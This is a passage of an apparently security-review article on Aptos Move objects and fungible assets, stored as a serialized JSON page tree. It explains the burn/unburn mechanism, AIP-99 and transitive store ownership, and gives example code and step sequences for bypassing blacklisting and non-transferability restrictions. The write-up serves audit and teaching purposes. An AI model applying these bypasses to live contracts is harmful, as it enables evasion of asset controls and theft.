object_addr",{"type":19,"tag":168,"props":61568,"children":61569},{"style":399},[61570],{"type":24,"value":402},{"type":19,"tag":168,"props":61572,"children":61573},{"style":393},[61574],{"type":24,"value":59979},{"type":19,"tag":168,"props":61576,"children":61577},{"style":399},[61578],{"type":24,"value":948},{"type":19,"tag":168,"props":61580,"children":61581},{"style":212},[61582],{"type":24,"value":61583},"inner;\n",{"type":19,"tag":168,"props":61585,"children":61586},{"class":170,"line":560},[61587,61591,61595,61599,61604,61608,61613,61617,61622,61626,61630],{"type":19,"tag":168,"props":61588,"children":61589},{"style":175},[61590],{"type":24,"value":60582},{"type":19,"tag":168,"props":61592,"children":61593},{"style":212},[61594],{"type":24,"value":500},{"type":19,"tag":168,"props":61596,"children":61597},{"style":399},[61598],{"type":24,"value":505},{"type":19,"tag":168,"props":61600,"children":61601},{"style":175},[61602],{"type":24,"value":61603},"create_signer",{"type":19,"tag":168,"props":61605,"children":61606},{"style":212},[61607],{"type":24,"value":500},{"type":19,"tag":168,"props":61609,"children":61610},{"style":393},[61611],{"type":24,"value":61612},"object_addr",{"type":19,"tag":168,"props":61614,"children":61615},{"style":212},[61616],{"type":24,"value":12624},{"type":19,"tag":168,"props":61618,"children":61619},{"style":825},[61620],{"type":24,"value":61621},"TombStone",{"type":19,"tag":168,"props":61623,"children":61624},{"style":212},[61625],{"type":24,"value":7027},{"type":19,"tag":168,"props":61627,"children":61628},{"style":393},[61629],{"type":24,"value":61537},{"type":19,"tag":168,"props":61631,"children":61632},{"style":212},[61633],{"type":24,"value":36310},{"type":19,"tag":168,"props":61635,"children":61636},{"class":170,"line":666},[61637,61642,61646,61650],{"type":19,"tag":168,"props":61638,"children":61639},{"style":175},[61640],{"type":24,"value":61641}," transfer_raw_inner",{"type":19,"tag":168,"props":61643,"children":61644},{"style":212},[61645],{"type":24,"value":500},{"type":19,"tag":168,"props":61647,"children":61648},{"style":393},[61649],{"type":24,"value":61612},{"type":19,"tag":168,"props":61651,"children":61652},{"style":212},[61653],{"type":24,"value":61654},", BURN_ADDRESS);\n",{"type":19,"tag":168,"props":61656,"children":61657},{"class":170,"line":694},[61658],{"type":19,"tag":168,"props":61659,"children":61660},{"style":212},[61661],{"type":24,"value":1326},{"type":19,"tag":20,"props":61663,"children":61664},{},[61665,61671,61673,61678,61679,61686,61688,61693],{"type":19,"tag":27,"props":61666,"children":61668},{"className":61667},[],[61669],{"type":24,"value":61670},"unburn",{"type":24,"value":61672}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":19,"tag":27,"props":61674,"children":61676},{"className":61675},[],[61677],{"type":24,"value":61357},{"type":24,"value":15983},{"type":19,"tag":269,"props":61680,"children":61683},{"href":61681,"rel":61682},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[273],[61684],{"type":24,"value":61685},"AIP-99",{"type":24,"value":61687}," is a proposal to roll back the ",{"type":19,"tag":27,"props":61689,"children":61691},{"className":61690},[],[61692],{"type":24,"value":61349},{"type":24,"value":61694}," feature, but previously burned objects will remain restorable.",{"type":19,"tag":315,"props":61696,"children":61697},{},[61698],{"type":19,"tag":20,"props":61699,"children":61700},{},[61701,61703,61707],{"type":24,"value":61702},"This ",{"type":19,"tag":168,"props":61704,"children":61705},{},[61706],{"type":24,"value":61685},{"type":24,"value":61708}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":19,"tag":20,"props":61710,"children":61711},{},[61712,61714,61720,61722,61727,61729,61734],{"type":24,"value":61713},"Another important thing is that ",{"type":19,"tag":27,"props":61715,"children":61717},{"className":61716},[],[61718],{"type":24,"value":61719},"fungible_asset::set_untransferable",{"type":24,"value":61721}," can be used to make all new ",{"type":19,"tag":27,"props":61723,"children":61725},{"className":61724},[],[61726],{"type":24,"value":60065},{"type":24,"value":61728}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":19,"tag":27,"props":61730,"children":61732},{"className":61731},[],[61733],{"type":24,"value":59561},{"type":24,"value":948},{"type":19,"tag":20,"props":61736,"children":61737},{},[61738,61740,61745,61747,61753,61755,61760,61762,61767],{"type":24,"value":61739},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":19,"tag":27,"props":61741,"children":61743},{"className":61742},[],[61744],{"type":24,"value":59561},{"type":24,"value":61746},", X can withdraw from that store. This is because ",{"type":19,"tag":27,"props":61748,"children":61750},{"className":61749},[],[61751],{"type":24,"value":61752},"fungible_asset::withdraw",{"type":24,"value":61754}," uses ",{"type":19,"tag":27,"props":61756,"children":61758},{"className":61757},[],[61759],{"type":24,"value":61079},{"type":24,"value":61761}," to verify both direct and indirect ownership of the ",{"type":19,"tag":27,"props":61763,"children":61765},{"className":61764},[],[61766],{"type":24,"value":59561},{"type":24,"value":47659},{"type":19,"tag":158,"props":61769,"children":61771},{"className":363,"code":61770,"language":362,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[61772],{"type":19,"tag":27,"props":61773,"children":61774},{"__ignoreMap":7},[61775,61836,61852,61882,61911,61926,61938,61968,61989,61996,62036,62061,62068],{"type":19,"tag":168,"props":61776,"children":61777},{"class":170,"line":171},[61778,61782,61787,61791,61795,61799,61803,61807,61812,61816,61820,61824,61828,61832],{"type":19,"tag":168,"props":61779,"children":61780},{"style":393},[61781],{"type":24,"value":4543},{"type":19,"tag":168,"props":61783,"children":61784},{"style":175},[61785],{"type":24,"value":61786}," verify_ungated_and_descendant",{"type":19,"tag":168,"props":61788,"children":61789},{"style":212},[61790],{"type":24,"value":500},{"type":19,"tag":168,"props":61792,"children":61793},{"style":393},[61794],{"type":24,"value":13057},{"type":19,"tag":168,"props":61796,"children":61797},{"style":399},[61798],{"type":24,"value":1922},{"type":19,"tag":168,"props":61800,"children":61801},{"style":393},[61802],{"type":24,"value":3685},{"type":19,"tag":168,"props":61804,"children":61805},{"style":212},[61806],{"type":24,"value":471},{"type":19,"tag":168,"props":61808,"children":61809},{"style":393},[61810],{"type":24,"value":61811},"destination",{"type":19,"tag":168,"props":61813,"children":61814},{"style":399},[61815],{"type":24,"value":1922},{"type":19,"tag":168,"props":61817,"children":61818},{"style":393},[61819],{"type":24,"value":3685},{"type":19,"tag":168,"props":61821,"children":61822},{"style":212},[61823],{"type":24,"value":481},{"type":19,"tag":168,"props":61825,"children":61826},{"style":393},[61827],{"type":24,"value":3779},{"type":19,"tag":168,"props":61829,"children":61830},{"style":825},[61831],{"type":24,"value":61459},{"type":19,"tag":168,"props":61833,"children":61834},{"style":212},[61835],{"type":24,"value":691},{"type":19,"tag":168,"props":61837,"children":61838},{"class":170,"line":198},[61839,61844,61848],{"type":19,"tag":168,"props":61840,"children":61841},{"style":212},[61842],{"type":24,"value":61843}," [",{"type":19,"tag":168,"props":61845,"children":61846},{"style":399},[61847],{"type":24,"value":7032},{"type":19,"tag":168,"props":61849,"children":61850},{"style":212},[61851],{"type":24,"value":9217},{"type":19,"tag":168,"props":61853,"children":61854},{"class":170,"line":415},[61855,61860,61864,61868,61873,61878],{"type":19,"tag":168,"props":61856,"children":61857},{"style":419},[61858],{"type":24,"value":61859}," while",{"type":19,"tag":168,"props":61861,"children":61862},{"style":212},[61863],{"type":24,"value":461},{"type":19,"tag":168,"props":61865,"children":61866},{"style":393},[61867],{"type":24,"value":13057},{"type":19,"tag":168,"props":61869,"children":61870},{"style":399},[61871],{"type":24,"value":61872}," !=",{"type":19,"tag":168,"props":61874,"children":61875},{"style":393},[61876],{"type":24,"value":61877}," current_address",{"type":19,"tag":168,"props":61879,"children":61880},{"style":212},[61881],{"type":24,"value":12250},{"type":19,"tag":168,"props":61883,"children":61884},{"class":170,"line":450},[61885,61890,61894,61899,61903,61907],{"type":19,"tag":168,"props":61886,"children":61887},{"style":393},[61888],{"type":24,"value":61889}," count",{"type":19,"tag":168,"props":61891,"children":61892},{"style":399},[61893],{"type":24,"value":402},{"type":19,"tag":168,"props":61895,"children":61896},{"style":393},[61897],{"type":24,"value":61898}," count",{"type":19,"tag":168,"props":61900,"children":61901},{"style":399},[61902],{"type":24,"value":6343},{"type":19,"tag":168,"props":61904,"children":61905},{"style":192},[61906],{"type":24,"value":1954},{"type":19,"tag":168,"props":61908,"children":61909},{"style":212},[61910],{"type":24,"value":412},{"type":19,"tag":168,"props":61912,"children":61913},{"class":170,"line":560},[61914,61918,61922],{"type":19,"tag":168,"props":61915,"children":61916},{"style":212},[61917],{"type":24,"value":61843},{"type":19,"tag":168,"props":61919,"children":61920},{"style":399},[61921],{"type":24,"value":7032},{"type":19,"tag":168,"props":61923,"children":61924},{"style":212},[61925],{"type":24,"value":9217},{"type":19,"tag":168,"props":61927,"children":61928},{"class":170,"line":666},[61929,61934],{"type":19,"tag":168,"props":61930,"children":61931},{"style":175},[61932],{"type":24,"value":61933}," assert!",{"type":19,"tag":168,"props":61935,"children":61936},{"style":212},[61937],{"type":24,"value":870},{"type":19,"tag":168,"props":61939,"children":61940},{"class":170,"line":694},[61941,61946,61950,61955,61959,61964],{"type":19,"tag":168,"props":61942,"children":61943},{"style":393},[61944],{"type":24,"value":61945}," exists",{"type":19,"tag":168,"props":61947,"children":61948},{"style":212},[61949],{"type":24,"value":3240},{"type":19,"tag":168,"props":61951,"children":61952},{"style":825},[61953],{"type":24,"value":61954},"ObjectCore",{"type":19,"tag":168,"props":61956,"children":61957},{"style":212},[61958],{"type":24,"value":5047},{"type":19,"tag":168,"props":61960,"children":61961},{"style":393},[61962],{"type":24,"value":61963},"current_address",{"type":19,"tag":168,"props":61965,"children":61966},{"style":212},[61967],{"type":24,"value":4172},{"type":19,"tag":168,"props":61969,"children":61970},{"class":170,"line":707},[61971,61976,61980,61984],{"type":19,"tag":168,"props":61972,"children":61973},{"style":212},[61974],{"type":24,"value":61975}," error",{"type":19,"tag":168,"props":61977,"children":61978},{"style":399},[61979],{"type":24,"value":888},{"type":19,"tag":168,"props":61981,"children":61982},{"style":175},[61983],{"type":24,"value":61304},{"type":19,"tag":168,"props":61985,"children":61986},{"style":212},[61987],{"type":24,"value":61988},"(ENOT_OBJECT_OWNER),\n",{"type":19,"tag":168,"props":61990,"children":61991},{"class":170,"line":725},[61992],{"type":19,"tag":168,"props":61993,"children":61994},{"style":212},[61995],{"type":24,"value":5180},{"type":19,"tag":168,"props":61997,"children":61998},{"class":170,"line":746},[61999,62003,62007,62011,62016,62020,62024,62028,62032],{"type":19,"tag":168,"props":62000,"children":62001},{"style":382},[62002],{"type":24,"value":456},{"type":19,"tag":168,"props":62004,"children":62005},{"style":393},[62006],{"type":24,"value":59979},{"type":19,"tag":168,"props":62008,"children":62009},{"style":399},[62010],{"type":24,"value":402},{"type":19,"tag":168,"props":62012,"children":62013},{"style":393},[62014],{"type":24,"value":62015}," borrow_global",{"type":19,"tag":168,"props":62017,"children":62018},{"style":212},[62019],{"type":24,"value":3240},{"type":19,"tag":168,"props":62021,"children":62022},{"style":825},[62023],{"type":24,"value":61954},{"type":19,"tag":168,"props":62025,"children":62026},{"style":212},[62027],{"type":24,"value":5047},{"type":19,"tag":168,"props":62029,"children":62030},{"style":393},[62031],{"type":24,"value":61963},{"type":19,"tag":168,"props":62033,"children":62034},{"style":212},[62035],{"type":24,"value":1249},{"type":19,"tag":168,"props":62037,"children":62038},{"class":170,"line":755},[62039,62044,62048,62052,62056],{"type":19,"tag":168,"props":62040,"children":62041},{"style":393},[62042],{"type":24,"value":62043}," current_address",{"type":19,"tag":168,"props":62045,"children":62046},{"style":399},[62047],{"type":24,"value":402},{"type":19,"tag":168,"props":62049,"children":62050},{"style":393},[62051],{"type":24,"value":59979},{"type":19,"tag":168,"props":62053,"children":62054},{"style":399},[62055],{"type":24,"value":948},{"type":19,"tag":168,"props":62057,"children":62058},{"style":212},[62059],{"type":24,"value":62060},"owner;\n",{"type":19,"tag":168,"props":62062,"children":62063},{"class":170,"line":1008},[62064],{"type":19,"tag":168,"props":62065,"children":62066},{"style":212},[62067],{"type":24,"value":36472},{"type":19,"tag":168,"props":62069,"children":62070},{"class":170,"line":1025},[62071],{"type":19,"tag":168,"props":62072,"children":62073},{"style":212},[62074],{"type":24,"value":1326},{"type":19,"tag":20,"props":62076,"children":62077},{},[62078,62080,62085],{"type":24,"value":62079},"This could allow for bypassing assumptions about ",{"type":19,"tag":27,"props":62081,"children":62083},{"className":62082},[],[62084],{"type":24,"value":59561},{"type":24,"value":62086}," true ownership and its non-transferability.",{"type":19,"tag":158,"props":62088,"children":62090},{"className":363,"code":62089,"language":362,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[62091],{"type":19,"tag":27,"props":62092,"children":62093},{"__ignoreMap":7},[62094,62152,62205,62249,62297,62304,62349,62357],{"type":19,"tag":168,"props":62095,"children":62096},{"class":170,"line":171},[62097,62101,62105,62110,62114,62119,62123,62127,62131,62135,62140,62144,62148],{"type":19,"tag":168,"props":62098,"children":62099},{"style":393},[62100],{"type":24,"value":59160},{"type":19,"tag":168,"props":62102,"children":62103},{"style":393},[62104],{"type":24,"value":3642},{"type":19,"tag":168,"props":62106,"children":62107},{"style":175},[62108],{"type":24,"value":62109}," untransferable_transfer",{"type":19,"tag":168,"props":62111,"children":62112},{"style":212},[62113],{"type":24,"value":500},{"type":19,"tag":168,"props":62115,"children":62116},{"style":393},[62117],{"type":24,"value":62118},"caller",{"type":19,"tag":168,"props":62120,"children":62121},{"style":399},[62122],{"type":24,"value":1922},{"type":19,"tag":168,"props":62124,"children":62125},{"style":399},[62126],{"type":24,"value":4577},{"type":19,"tag":168,"props":62128,"children":62129},{"style":393},[62130],{"type":24,"value":4582},{"type":19,"tag":168,"props":62132,"children":62133},{"style":212},[62134],{"type":24,"value":471},{"type":19,"tag":168,"props":62136,"children":62137},{"style":393},[62138],{"type":24,"value":62139},"receipient",{"type":19,"tag":168,"props":62141,"children":62142},{"style":399},[62143],{"type":24,"value":1922},{"type":19,"tag":168,"props":62145,"children":62146},{"style":393},[62147],{"type":24,"value":3685},{"type":19,"tag":168,"props":62149,"children":62150},{"style":212},[62151],{"type":24,"value":12250},{"type":19,"tag":168,"props":62153,"children":62154},{"class":170,"line":198},[62155,62159,62164,62168,62172,62176,62181,62185,62189,62193,62197,62201],{"type":19,"tag":168,"props":62156,"children":62157},{"style":382},[62158],{"type":24,"value":385},{"type":19,"tag":168,"props":62160,"children":62161},{"style":393},[62162],{"type":24,"value":62163}," constructor_ref",{"type":19,"tag":168,"props":62165,"children":62166},{"style":399},[62167],{"type":24,"value":402},{"type":19,"tag":168,"props":62169,"children":62170},{"style":212},[62171],{"type":24,"value":59979},{"type":19,"tag":168,"props":62173,"children":62174},{"style":399},[62175],{"type":24,"value":888},{"type":19,"tag":168,"props":62177,"children":62178},{"style":175},[62179],{"type":24,"value":62180},"create_object",{"type":19,"tag":168,"props":62182,"children":62183},{"style":212},[62184],{"type":24,"value":4636},{"type":19,"tag":168,"props":62186,"children":62187},{"style":399},[62188],{"type":24,"value":888},{"type":19,"tag":168,"props":62190,"children":62191},{"style":175},[62192],{"type":24,"value":4645},{"type":19,"tag":168,"props":62194,"children":62195},{"style":212},[62196],{"type":24,"value":500},{"type":19,"tag":168,"props":62198,"children":62199},{"style":393},[62200],{"type":24,"value":62118},{"type":19,"tag":168,"props":62202,"children":62203},{"style":212},[62204],{"type":24,"value":4659},{"type":19,"tag":168,"props":62206,"children":62207},{"class":170,"line":415},[62208,62212,62216,62220,62224,62228,62233,62237,62241,62245],{"type":19,"tag":168,"props":62209,"children":62210},{"style":382},[62211],{"type":24,"value":385},{"type":19,"tag":168,"props":62213,"children":62214},{"style":393},[62215],{"type":24,"value":61566},{"type":19,"tag":168,"props":62217,"children":62218},{"style":399},[62219],{"type":24,"value":402},{"type":19,"tag":168,"props":62221,"children":62222},{"style":212},[62223],{"type":24,"value":59979},{"type":19,"tag":168,"props":62225,"children":62226},{"style":399},[62227],{"type":24,"value":888},{"type":19,"tag":168,"props":62229,"children":62230},{"style":175},[62231],{"type":24,"value":62232},"address_from_constructor_ref",{"type":19,"tag":168,"props":62234,"children":62235},{"style":212},[62236],{"type":24,"value":500},{"type":19,"tag":168,"props":62238,"children":62239},{"style":399},[62240],{"type":24,"value":505},{"type":19,"tag":168,"props":62242,"children":62243},{"style":393},[62244],{"type":24,"value":60413},{"type":19,"tag":168,"props":62246,"children":62247},{"style":212},[62248],{"type":24,"value":1249},{"type":19,"tag":168,"props":62250,"children":62251},{"class":170,"line":450},[62252,62256,62260,62264,62269,62273,62277,62281,62285,62289,62293],{"type":19,"tag":168,"props":62253,"children":62254},{"style":382},[62255],{"type":24,"value":385},{"type":19,"tag":168,"props":62257,"children":62258},{"style":393},[62259],{"type":24,"value":3265},{"type":19,"tag":168,"props":62261,"children":62262},{"style":399},[62263],{"type":24,"value":402},{"type":19,"tag":168,"props":62265,"children":62266},{"style":212},[62267],{"type":24,"value":62268}," primary_fungible_store",{"type":19,"tag":168,"props":62270,"children":62271},{"style":399},[62272],{"type":24,"value":888},{"type":19,"tag":168,"props":62274,"children":62275},{"style":175},[62276],{"type":24,"value":60305},{"type":19,"tag":168,"props":62278,"children":62279},{"style":212},[62280],{"type":24,"value":500},{"type":19,"tag":168,"props":62282,"children":62283},{"style":393},[62284],{"type":24,"value":61612},{"type":19,"tag":168,"props":62286,"children":62287},{"style":212},[62288],{"type":24,"value":471},{"type":19,"tag":168,"props":62290,"children":62291},{"style":175},[62292],{"type":24,"value":60261},{"type":19,"tag":168,"props":62294,"children":62295},{"style":212},[62296],{"type":24,"value":12872},{"type":19,"tag":168,"props":62298,"children":62299},{"class":170,"line":560},[62300],{"type":19,"tag":168,"props":62301,"children":62302},{"emptyLinePlaceholder":14},[62303],{"type":24,"value":1093},{"type":19,"tag":168,"props":62305,"children":62306},{"class":170,"line":666},[62307,62312,62316,62321,62325,62329,62333,62337,62341,62345],{"type":19,"tag":168,"props":62308,"children":62309},{"style":212},[62310],{"type":24,"value":62311}," object",{"type":19,"tag":168,"props":62313,"children":62314},{"style":399},[62315],{"type":24,"value":888},{"type":19,"tag":168,"props":62317,"children":62318},{"style":175},[62319],{"type":24,"value":62320},"transfer_raw",{"type":19,"tag":168,"props":62322,"children":62323},{"style":212},[62324],{"type":24,"value":500},{"type":19,"tag":168,"props":62326,"children":62327},{"style":393},[62328],{"type":24,"value":62118},{"type":19,"tag":168,"props":62330,"children":62331},{"style":212},[62332],{"type":24,"value":471},{"type":19,"tag":168,"props":62334,"children":62335},{"style":393},[62336],{"type":24,"value":61612},{"type":19,"tag":168,"props":62338,"children":62339},{"style":212},[62340],{"type":24,"value":471},{"type":19,"tag":168,"props":62342,"children":62343},{"style":393},[62344],{"type":24,"value":62139},{"type":19,"tag":168,"props":62346,"children":62347},{"style":212},[62348],{"type":24,"value":1249},{"type":19,"tag":168,"props":62350,"children":62351},{"class":170,"line":694},[62352],{"type":19,"tag":168,"props":62353,"children":62354},{"style":373},[62355],{"type":24,"value":62356}," //receipient can interact with store by using their signer\n",{"type":19,"tag":168,"props":62358,"children":62359},{"class":170,"line":707},[62360],{"type":19,"tag":168,"props":62361,"children":62362},{"style":212},[62363],{"type":24,"value":1326},{"type":19,"tag":20,"props":62365,"children":62366},{},[62367,62369,62376],{"type":24,"value":62368},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":19,"tag":269,"props":62370,"children":62373},{"href":62371,"rel":62372},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[273],[62374],{"type":24,"value":62375},"edge case",{"type":24,"value":62377}," involving the transfer of a non-transferable fungible store.",{"type":19,"tag":158,"props":62379,"children":62381},{"className":363,"code":62380,"language":362,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[62382],{"type":19,"tag":27,"props":62383,"children":62384},{"__ignoreMap":7},[62385,62450,62511,62558,62569,62604,62624,62631,62638,62653,62660,62688],{"type":19,"tag":168,"props":62386,"children":62387},{"class":170,"line":171},[62388,62392,62396,62401,62405,62409,62413,62418,62422,62426,62430,62434,62438,62442,62446],{"type":19,"tag":168,"props":62389,"children":62390},{"style":393},[62391],{"type":24,"value":59160},{"type":19,"tag":168,"props":62393,"children":62394},{"style":393},[62395],{"type":24,"value":3642},{"type":19,"tag":168,"props":62397,"children":62398},{"style":175},[62399],{"type":24,"value":62400}," transfer_with_ref",{"type":19,"tag":168,"props":62402,"children":62403},{"style":212},[62404],{"type":24,"value":500},{"type":19,"tag":168,"props":62406,"children":62407},{"style":382},[62408],{"type":24,"value":60822},{"type":19,"tag":168,"props":62410,"children":62411},{"style":399},[62412],{"type":24,"value":1922},{"type":19,"tag":168,"props":62414,"children":62415},{"style":825},[62416],{"type":24,"value":62417}," LinearTransferRef",{"type":19,"tag":168,"props":62419,"children":62420},{"style":212},[62421],{"type":24,"value":471},{"type":19,"tag":168,"props":62423,"children":62424},{"style":393},[62425],{"type":24,"value":30200},{"type":19,"tag":168,"props":62427,"children":62428},{"style":399},[62429],{"type":24,"value":1922},{"type":19,"tag":168,"props":62431,"children":62432},{"style":393},[62433],{"type":24,"value":3685},{"type":19,"tag":168,"props":62435,"children":62436},{"style":212},[62437],{"type":24,"value":481},{"type":19,"tag":168,"props":62439,"children":62440},{"style":393},[62441],{"type":24,"value":3779},{"type":19,"tag":168,"props":62443,"children":62444},{"style":825},[62445],{"type":24,"value":61459},{"type":19,"tag":168,"props":62447,"children":62448},{"style":212},[62449],{"type":24,"value":691},{"type":19,"tag":168,"props":62451,"children":62452},{"class":170,"line":198},[62453,62457,62461,62465,62469,62473,62478,62482,62486,62490,62494,62498,62502,62506],{"type":19,"tag":168,"props":62454,"children":62455},{"style":175},[62456],{"type":24,"value":59829},{"type":19,"tag":168,"props":62458,"children":62459},{"style":212},[62460],{"type":24,"value":500},{"type":19,"tag":168,"props":62462,"children":62463},{"style":399},[62464],{"type":24,"value":18076},{"type":19,"tag":168,"props":62466,"children":62467},{"style":393},[62468],{"type":24,"value":4140},{"type":19,"tag":168,"props":62470,"children":62471},{"style":212},[62472],{"type":24,"value":3240},{"type":19,"tag":168,"props":62474,"children":62475},{"style":825},[62476],{"type":24,"value":62477},"Untransferable",{"type":19,"tag":168,"props":62479,"children":62480},{"style":212},[62481],{"type":24,"value":5047},{"type":19,"tag":168,"props":62483,"children":62484},{"style":382},[62485],{"type":24,"value":60822},{"type":19,"tag":168,"props":62487,"children":62488},{"style":399},[62489],{"type":24,"value":948},{"type":19,"tag":168,"props":62491,"children":62492},{"style":382},[62493],{"type":24,"value":11159},{"type":19,"tag":168,"props":62495,"children":62496},{"style":212},[62497],{"type":24,"value":60418},{"type":19,"tag":168,"props":62499,"children":62500},{"style":399},[62501],{"type":24,"value":888},{"type":19,"tag":168,"props":62503,"children":62504},{"style":175},[62505],{"type":24,"value":61304},{"type":19,"tag":168,"props":62507,"children":62508},{"style":212},[62509],{"type":24,"value":62510},"(ENOT_MOVABLE));\n",{"type":19,"tag":168,"props":62512,"children":62513},{"class":170,"line":415},[62514,62518,62522,62526,62530,62534,62538,62542,62546,62550,62554],{"type":19,"tag":168,"props":62515,"children":62516},{"style":382},[62517],{"type":24,"value":385},{"type":19,"tag":168,"props":62519,"children":62520},{"style":393},[62521],{"type":24,"value":59979},{"type":19,"tag":168,"props":62523,"children":62524},{"style":399},[62525],{"type":24,"value":402},{"type":19,"tag":168,"props":62527,"children":62528},{"style":393},[62529],{"type":24,"value":5033},{"type":19,"tag":168,"props":62531,"children":62532},{"style":212},[62533],{"type":24,"value":3240},{"type":19,"tag":168,"props":62535,"children":62536},{"style":825},[62537],{"type":24,"value":61954},{"type":19,"tag":168,"props":62539,"children":62540},{"style":212},[62541],{"type":24,"value":5047},{"type":19,"tag":168,"props":62543,"children":62544},{"style":382},[62545],{"type":24,"value":60822},{"type":19,"tag":168,"props":62547,"children":62548},{"style":399},[62549],{"type":24,"value":948},{"type":19,"tag":168,"props":62551,"children":62552},{"style":382},[62553],{"type":24,"value":11159},{"type":19,"tag":168,"props":62555,"children":62556},{"style":212},[62557],{"type":24,"value":1249},{"type":19,"tag":168,"props":62559,"children":62560},{"class":170,"line":450},[62561,62565],{"type":19,"tag":168,"props":62562,"children":62563},{"style":175},[62564],{"type":24,"value":59829},{"type":19,"tag":168,"props":62566,"children":62567},{"style":212},[62568],{"type":24,"value":870},{"type":19,"tag":168,"props":62570,"children":62571},{"class":170,"line":560},[62572,62577,62581,62586,62590,62595,62599],{"type":19,"tag":168,"props":62573,"children":62574},{"style":393},[62575],{"type":24,"value":62576}," object",{"type":19,"tag":168,"props":62578,"children":62579},{"style":399},[62580],{"type":24,"value":948},{"type":19,"tag":168,"props":62582,"children":62583},{"style":212},[62584],{"type":24,"value":62585},"owner ",{"type":19,"tag":168,"props":62587,"children":62588},{"style":399},[62589],{"type":24,"value":6013},{"type":19,"tag":168,"props":62591,"children":62592},{"style":382},[62593],{"type":24,"value":62594}," ref",{"type":19,"tag":168,"props":62596,"children":62597},{"style":399},[62598],{"type":24,"value":948},{"type":19,"tag":168,"props":62600,"children":62601},{"style":212},[62602],{"type":24,"value":62603},"owner,\n",{"type":19,"tag":168,"props":62605,"children":62606},{"class":170,"line":666},[62607,62612,62616,62620],{"type":19,"tag":168,"props":62608,"children":62609},{"style":212},[62610],{"type":24,"value":62611}," error",{"type":19,"tag":168,"props":62613,"children":62614},{"style":399},[62615],{"type":24,"value":888},{"type":19,"tag":168,"props":62617,"children":62618},{"style":175},[62619],{"type":24,"value":61304},{"type":19,"tag":168,"props":62621,"children":62622},{"style":212},[62623],{"type":24,"value":61988},{"type":19,"tag":168,"props":62625,"children":62626},{"class":170,"line":694},[62627],{"type":19,"tag":168,"props":62628,"children":62629},{"style":212},[62630],{"type":24,"value":41135},{"type":19,"tag":168,"props":62632,"children":62633},{"class":170,"line":707},[62634],{"type":19,"tag":168,"props":62635,"children":62636},{"style":212},[62637],{"type":24,"value":59271},{"type":19,"tag":168,"props":62639,"children":62640},{"class":170,"line":725},[62641,62645,62649],{"type":19,"tag":168,"props":62642,"children":62643},{"style":212},[62644],{"type":24,"value":60203},{"type":19,"tag":168,"props":62646,"children":62647},{"style":399},[62648],{"type":24,"value":7032},{"type":19,"tag":168,"props":62650,"children":62651},{"style":212},[62652],{"type":24,"value":9217},{"type":19,"tag":168,"props":62654,"children":62655},{"class":170,"line":746},[62656],{"type":19,"tag":168,"props":62657,"children":62658},{"style":212},[62659],{"type":24,"value":59271},{"type":19,"tag":168,"props":62661,"children":62662},{"class":170,"line":755},[62663,62667,62671,62675,62679,62684],{"type":19,"tag":168,"props":62664,"children":62665},{"style":393},[62666],{"type":24,"value":62311},{"type":19,"tag":168,"props":62668,"children":62669},{"style":399},[62670],{"type":24,"value":948},{"type":19,"tag":168,"props":62672,"children":62673},{"style":212},[62674],{"type":24,"value":62585},{"type":19,"tag":168,"props":62676,"children":62677},{"style":399},[62678],{"type":24,"value":486},{"type":19,"tag":168,"props":62680,"children":62681},{"style":393},[62682],{"type":24,"value":62683}," to",{"type":19,"tag":168,"props":62685,"children":62686},{"style":212},[62687],{"type":24,"value":412},{"type":19,"tag":168,"props":62689,"children":62690},{"class":170,"line":1008},[62691],{"type":19,"tag":168,"props":62692,"children":62693},{"style":212},[62694],{"type":24,"value":1326},{"type":19,"tag":20,"props":62696,"children":62697},{},[62698,62700,62705,62707,62712],{"type":24,"value":62699},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":19,"tag":27,"props":62701,"children":62703},{"className":62702},[],[62704],{"type":24,"value":61357},{"type":24,"value":62706},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":19,"tag":27,"props":62708,"children":62710},{"className":62709},[],[62711],{"type":24,"value":4582},{"type":24,"value":62713}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":19,"tag":7050,"props":62715,"children":62717},{"id":62716},"references",[62718],{"type":24,"value":62719},"References",{"type":19,"tag":20,"props":62721,"children":62722},{},[62723,62728,62730,62736,62738,62743,62745,62750],{"type":19,"tag":27,"props":62724,"children":62726},{"className":62725},[],[62727],{"type":24,"value":62719},{"type":24,"value":62729}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":19,"tag":27,"props":62731,"children":62733},{"className":62732},[],[62734],{"type":24,"value":62735},"Refs",{"type":24,"value":62737}," are based on the ",{"type":19,"tag":27,"props":62739,"children":62741},{"className":62740},[],[62742],{"type":24,"value":46333},{"type":24,"value":62744}," model, but they are also adapted by fungible assets. Some of these are defined by the 